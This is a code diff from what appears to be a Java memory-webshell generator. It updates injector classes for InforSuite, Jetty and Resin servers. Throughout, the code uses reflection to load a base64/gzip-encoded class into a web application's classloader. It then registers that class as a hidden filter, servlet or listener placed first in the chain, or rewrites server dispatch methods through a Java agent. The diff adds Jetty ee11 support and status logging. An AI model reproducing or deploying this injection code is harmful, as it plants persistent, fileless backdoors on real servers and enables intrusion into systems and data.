ClassLoader contextClassLoader = context.getClass().getClassLoader(); ClassLoader contextClassLoader = context.getClass().getClassLoader();
@@ -114,7 +144,11 @@ public class InforSuiteFilterInjector {
filterConfigs = (HashMap<String, Object>) getFieldValue(context, "iasFilterConfigs"); filterConfigs = (HashMap<String, Object>) getFieldValue(context, "iasFilterConfigs");
} }
filterConfigs.put(filterName, filterConfig); filterConfigs.put(filterName, filterConfig);
log.info("filter added successfully"); }
@Override
public String toString() {
return msg;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -198,4 +232,19 @@ public class InforSuiteFilterInjector {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.jetty;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.*; import java.lang.reflect.*;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
@@ -17,17 +18,7 @@ import java.util.zip.GZIPInputStream;
public class JettyFilterInjector { public class JettyFilterInjector {
public JettyFilterInjector() { private String msg = "";
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object filter = getShell(context);
inject(context, filter);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -41,13 +32,49 @@ public class JettyFilterInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public JettyFilterInjector() {
List<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts != null) {
for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try {
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath");
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public void inject(Object context, Object filter) throws Exception { public void inject(Object context, Object filter) throws Exception {
Object servletHandler = getFieldValue(context, "_servletHandler"); Object servletHandler = getFieldValue(context, "_servletHandler");
if (servletHandler == null) {
return;
}
if (invokeMethod(servletHandler, "getFilter", new Class[]{String.class}, new Object[]{getClassName()}) != null) { if (invokeMethod(servletHandler, "getFilter", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
System.out.println("filter is already injected");
return; return;
} }
@@ -56,6 +83,7 @@ public class JettyFilterInjector {
"org.eclipse.jetty.ee8.servlet.FilterHolder", "org.eclipse.jetty.ee8.servlet.FilterHolder",
"org.eclipse.jetty.ee9.servlet.FilterHolder", "org.eclipse.jetty.ee9.servlet.FilterHolder",
"org.eclipse.jetty.ee10.servlet.FilterHolder", "org.eclipse.jetty.ee10.servlet.FilterHolder",
"org.eclipse.jetty.ee11.servlet.FilterHolder",
"org.mortbay.jetty.servlet.FilterHolder", "org.mortbay.jetty.servlet.FilterHolder",
}; };
@@ -78,7 +106,6 @@ public class JettyFilterInjector {
invokeMethod(servletHandler, "addFilterWithMapping", new Class[]{filterHolderClass, String.class, int.class}, new Object[]{filterHolder, getUrlPattern(), 1}); invokeMethod(servletHandler, "addFilterWithMapping", new Class[]{filterHolderClass, String.class, int.class}, new Object[]{filterHolder, getUrlPattern(), 1});
moveFilterToFirst(servletHandler); moveFilterToFirst(servletHandler);
invokeMethod(servletHandler, "invalidateChainsCache"); invokeMethod(servletHandler, "invalidateChainsCache");
System.out.println("filter added successfully");
} }
private void moveFilterToFirst(Object servletHandler) throws Exception { private void moveFilterToFirst(Object servletHandler) throws Exception {
@@ -102,7 +129,6 @@ public class JettyFilterInjector {
} }
} else if (filterMaps instanceof ArrayList) { } else if (filterMaps instanceof ArrayList) {
ArrayList<Object> filterList = (ArrayList<Object>) filterMaps; ArrayList<Object> filterList = (ArrayList<Object>) filterMaps;
filterLength = filterList.size();
for (Object filter : filterList) { for (Object filter : filterList) {
String filterName = (String) getFieldValue(filter, "_filterName"); String filterName = (String) getFieldValue(filter, "_filterName");
if (filterName.equals(getClassName())) { if (filterName.equals(getClassName())) {
@@ -113,11 +139,14 @@ public class JettyFilterInjector {
} }
filterList.clear(); filterList.clear();
filterList.addAll(reorderedFilters); filterList.addAll(reorderedFilters);
} else {
throw new IllegalArgumentException("filterMaps must be either an array or an ArrayList");
} }
} }
@Override
public String toString() {
return msg;
}
/** /**
* org.mortbay.jetty.webapp.WebAppContext * org.mortbay.jetty.webapp.WebAppContext
* org.eclipse.jetty.webapp.WebAppContext * org.eclipse.jetty.webapp.WebAppContext
@@ -165,16 +194,18 @@ public class JettyFilterInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader webAppClassLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return webAppClassLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
@@ -223,7 +254,7 @@ public class JettyFilterInjector {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
@@ -257,4 +288,19 @@ public class JettyFilterInjector {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -21,9 +21,9 @@ public class JettyHandlerAgentInjector implements ClassFileTransformer {
"org/eclipse/jetty/ee8/servlet/ServletHandler", "org/eclipse/jetty/ee8/servlet/ServletHandler",
"org/eclipse/jetty/ee9/servlet/ServletHandler", "org/eclipse/jetty/ee9/servlet/ServletHandler",
"org/eclipse/jetty/ee10/servlet/ServletHandler$Chain", "org/eclipse/jetty/ee10/servlet/ServletHandler$Chain",
"org/eclipse/jetty/ee11/servlet/ServletHandler$Chain",
"org/mortbay/jetty/servlet/ServletHandler" "org/mortbay/jetty/servlet/ServletHandler"
); );
private static String targetMethodName = "doHandle";
public static String getClassName() { public static String getClassName() {
return "{{advisorName}}"; return "{{advisorName}}";
@@ -48,14 +48,7 @@ public class JettyHandlerAgentInjector implements ClassFileTransformer {
String name = allLoadedClass.getName(); String name = allLoadedClass.getName();
for (String targetClass : TARGET_CLASSES) { for (String targetClass : TARGET_CLASSES) {
if (targetClass.replace("/", ".").equals(name)) { if (targetClass.replace("/", ".").equals(name)) {
if (name.contains("mortbay")) {
targetMethodName = "handle";
}
if (name.contains("ee10")) {
targetMethodName = "doFilter";
}
inst.retransformClasses(allLoadedClass); inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at " + name + "." + targetMethodName);
} }
} }
} }
@@ -66,10 +59,11 @@ public class JettyHandlerAgentInjector implements ClassFileTransformer {
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined, public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) { ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASSES.contains(className)) { if (TARGET_CLASSES.contains(className)) {
String targetMethodName = "doHandle";
if (className.contains("mortbay")) { if (className.contains("mortbay")) {
targetMethodName = "handle"; targetMethodName = "handle";
} }
if (className.contains("ee10")) { if (className.contains("ee10") || className.contains("ee11")) {
targetMethodName = "doFilter"; targetMethodName = "doFilter";
} }
defineTargetClass(loader); defineTargetClass(loader);
@@ -81,8 +75,9 @@ public class JettyHandlerAgentInjector implements ClassFileTransformer {
return loader; return loader;
} }
}; };
ClassVisitor cv = getClassVisitor(cw); ClassVisitor cv = getClassVisitor(cw, targetMethodName);
cr.accept(cv, ClassReader.EXPAND_FRAMES); cr.accept(cv, ClassReader.EXPAND_FRAMES);
System.out.println("MemShell Agent is working at " + className.replace("/", ".") + "." + targetMethodName);
return cw.toByteArray(); return cw.toByteArray();
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace(); e.printStackTrace();
@@ -92,19 +87,15 @@ public class JettyHandlerAgentInjector implements ClassFileTransformer {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static ClassVisitor getClassVisitor(ClassVisitor cv) { public static ClassVisitor getClassVisitor(ClassVisitor cv, String targetMethodName) {
return new ClassVisitor(Opcodes.ASM9, cv) { return new ClassVisitor(Opcodes.ASM9, cv) {
@Override @Override
public MethodVisitor visitMethod(int access, String name, String descriptor, public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) { String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (targetMethodName.equals(name)) { if (targetMethodName.equals(name)) {
try { Type[] argumentTypes = Type.getArgumentTypes(descriptor);
Type[] argumentTypes = Type.getArgumentTypes(descriptor); return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Exception e) {
e.printStackTrace();
}
} }
return mv; return mv;
} }
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.jetty;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Array; import java.lang.reflect.Array;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.InvocationTargetException;
@@ -14,22 +15,49 @@ import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
* tested v7、v8、v9
*
* @author ReaJason * @author ReaJason
*/ */
public class JettyListenerInjector { public class JettyListenerInjector {
private String msg = "";
public JettyListenerInjector() { public JettyListenerInjector() {
List<Object> contexts = null;
try { try {
List<Object> contexts = getContext(); contexts = getContext();
for (Object context : contexts) { } catch (Throwable throwable) {
Object listener = getShell(context); msg += "context error: " + getErrorMessage(throwable);
inject(context, listener);
}
} catch (Exception e) {
e.printStackTrace();
} }
if (contexts != null) {
for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try {
Object shell = getShell(context);
inject(context, shell);
msg += "[/*] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath");
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
} }
public String getClassName() { public String getClassName() {
@@ -80,30 +108,21 @@ public class JettyListenerInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader webAppClassLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return webAppClassLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
public static void inject(Object context, Object listener) throws Exception { public void inject(Object context, Object listener) throws Exception {
if (isInjected(context, listener.getClass().getName())) {
System.out.println("listener is already injected");
return;
}
invokeMethod(context, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener});
System.out.println("listener added successfully");
}
@SuppressWarnings("unchecked")
public static boolean isInjected(Object context, String className) throws Exception {
// jetty v8、 v9
Object object = invokeMethod(context, "getEventListeners"); Object object = invokeMethod(context, "getEventListeners");
Object[] eventListeners = new Object[0]; Object[] eventListeners = new Object[0];
if (object instanceof List) { if (object instanceof List) {
@@ -112,11 +131,16 @@ public class JettyListenerInjector {
eventListeners = (Object[]) object; eventListeners = (Object[]) object;
} }
for (Object eventListener : eventListeners) { for (Object eventListener : eventListeners) {
if (eventListener.getClass().getName().contains(className)) { if (eventListener.getClass().getName().contains(getClassName())) {
return true; return ;
} }
} }
return false; invokeMethod(context, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener});
}
@Override
public String toString() {
return msg;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -165,7 +189,7 @@ public class JettyListenerInjector {
} }
} }
throw new NoSuchFieldException(name); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
@@ -199,4 +223,19 @@ public class JettyListenerInjector {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.jetty;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.*; import java.lang.reflect.*;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
@@ -15,17 +16,7 @@ import java.util.zip.GZIPInputStream;
*/ */
public class JettyServletInjector { public class JettyServletInjector {
public JettyServletInjector() { private String msg = "";
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object servlet = getShell(context);
inject(context, servlet);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -39,6 +30,45 @@ public class JettyServletInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public JettyServletInjector() {
List<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts != null) {
for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try {
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath");
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public Class<?> getServletClass(ClassLoader classLoader) throws ClassNotFoundException { public Class<?> getServletClass(ClassLoader classLoader) throws ClassNotFoundException {
try { try {
return classLoader.loadClass("javax.servlet.Servlet"); return classLoader.loadClass("javax.servlet.Servlet");
@@ -87,32 +117,33 @@ public class JettyServletInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader webAppClassLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return webAppClassLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
public void inject(Object context, Object servlet) throws Exception { public void inject(Object context, Object servlet) throws Exception {
Object servletHandler = getFieldValue(context, "_servletHandler"); Object servletHandler = getFieldValue(context, "_servletHandler");
if (invokeMethod(servletHandler, "getServlet", new Class[]{String.class}, new Object[]{getClassName()}) != null) { if (invokeMethod(servletHandler, "getServlet", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
System.out.println("servlet is already injected");
return; return;
} }
String[] classNames = new String[]{ String[] classNames = new String[]{
"org.eclipse.jetty.servlet.ServletHolder", "org.eclipse.jetty.servlet.ServletHolder",
"org.eclipse.jetty.ee8.servlet.ServletHolder", "org.eclipse.jetty.ee8.servlet.ServletHolder",
"org.eclipse.jetty.ee9.servlet.ServletHolder", "org.eclipse.jetty.ee9.servlet.ServletHolder",
"org.eclipse.jetty.ee10.servlet.ServletHolder", "org.eclipse.jetty.ee10.servlet.ServletHolder",
"org.eclipse.jetty.ee11.servlet.ServletHolder",
"org.mortbay.jetty.servlet.ServletHolder", "org.mortbay.jetty.servlet.ServletHolder",
}; };
@@ -137,9 +168,12 @@ public class JettyServletInjector {
invokeMethod(servletHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(servletHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
invokeMethod(servletHandler, "addServlet", new Class[]{servletHolderClass}, new Object[]{servletHolder}); invokeMethod(servletHandler, "addServlet", new Class[]{servletHolderClass}, new Object[]{servletHolder});
invokeMethod(servletHandler, "addServletWithMapping", new Class[]{servletHolderClass, String.class}, new Object[]{servletHolder, getUrlPattern()}); invokeMethod(servletHandler, "addServletWithMapping", new Class[]{servletHolderClass, String.class}, new Object[]{servletHolder, getUrlPattern()});
System.out.println("servlet inject successful");
} }
@Override
public String toString() {
return msg;
}
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception { public static byte[] decodeBase64(String base64Str) throws Exception {
@@ -186,7 +220,7 @@ public class JettyServletInjector {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
@@ -220,4 +254,19 @@ public class JettyServletInjector {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -42,7 +42,6 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
inst.retransformClasses(allLoadedClass); inst.retransformClasses(allLoadedClass);
} }
} }
System.out.println("MemShell Agent is working at com.caucho.server.dispatch.FilterFilterChain.doFilter");
} }
@Override @Override
@@ -61,6 +60,7 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
}; };
ClassVisitor cv = getClassVisitor(cw); ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES); cr.accept(cv, ClassReader.EXPAND_FRAMES);
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
return cw.toByteArray(); return cw.toByteArray();
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace(); e.printStackTrace();
@@ -77,12 +77,8 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
String signature, String[] exceptions) { String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) { if (TARGET_METHOD_NAME.equals(name)) {
try { Type[] argumentTypes = Type.getArgumentTypes(descriptor);
Type[] argumentTypes = Type.getArgumentTypes(descriptor); return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Exception e) {
e.printStackTrace();
}
} }
return mv; return mv;
} }
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.resin;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.*;
@@ -13,17 +14,7 @@ import java.util.zip.GZIPInputStream;
*/ */
public class ResinFilterInjector { public class ResinFilterInjector {
public ResinFilterInjector() { private String msg = "";
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object filter = getShell(context);
inject(context, filter);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -37,6 +28,45 @@ public class ResinFilterInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public ResinFilterInjector() {
List<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts != null) {
for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try {
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
/** /**
* com.caucho.server.webapp.Application * com.caucho.server.webapp.Application
* /usr/local/resin3/lib/resin.jar * /usr/local/resin3/lib/resin.jar
@@ -71,21 +101,25 @@ public class ResinFilterInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return classLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
private void inject(Object context, Object filter) throws Exception { private void inject(Object context, Object filter) throws Exception {
if (isInjected(context)) { Map<String, Object> filters = (Map) getFieldValue(getFieldValue(context, "_filterManager"), "_filters");
System.out.println("filter already injected"); for (String key : filters.keySet()) {
return; if (key.contains(getClassName())) {
return;
}
} }
Class<?> filterMappingClass = context.getClass().getClassLoader().loadClass("com.caucho.server.dispatch.FilterMapping"); Class<?> filterMappingClass = context.getClass().getClassLoader().loadClass("com.caucho.server.dispatch.FilterMapping");
Object filterMappingImpl = filterMappingClass.newInstance(); Object filterMappingImpl = filterMappingClass.newInstance();
@@ -96,18 +130,11 @@ public class ResinFilterInjector {
invokeMethod(urlPattern, "init", null, null); invokeMethod(urlPattern, "init", null, null);
invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl}); invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl});
invokeMethod(context, "clearCache", null, null); invokeMethod(context, "clearCache", null, null);
System.out.println("filter injected");
} }
@SuppressWarnings("all") @Override
public boolean isInjected(Object context) throws Exception { public String toString() {
Map<String, Object> filters = (Map) getFieldValue(getFieldValue(context, "_filterManager"), "_filters"); return msg;
for (String key : filters.keySet()) {
if (key.contains(getClassName())) {
return true;
}
}
return false;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -155,7 +182,7 @@ public class ResinFilterInjector {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -184,4 +211,19 @@ public class ResinFilterInjector {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.resin;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.Arrays; import java.util.Arrays;
@@ -16,17 +17,7 @@ import java.util.zip.GZIPInputStream;
*/ */
public class ResinListenerInjector { public class ResinListenerInjector {
public ResinListenerInjector() { private String msg = "";
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object listener = getShell(context);
inject(context, listener);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -36,6 +27,45 @@ public class ResinListenerInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public ResinListenerInjector() {
List<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts != null) {
for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try {
Object shell = getShell(context);
inject(context, shell);
msg += "[/*] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public List<Object> getContext() throws Exception { public List<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>(); Set<Object> contexts = new HashSet<Object>();
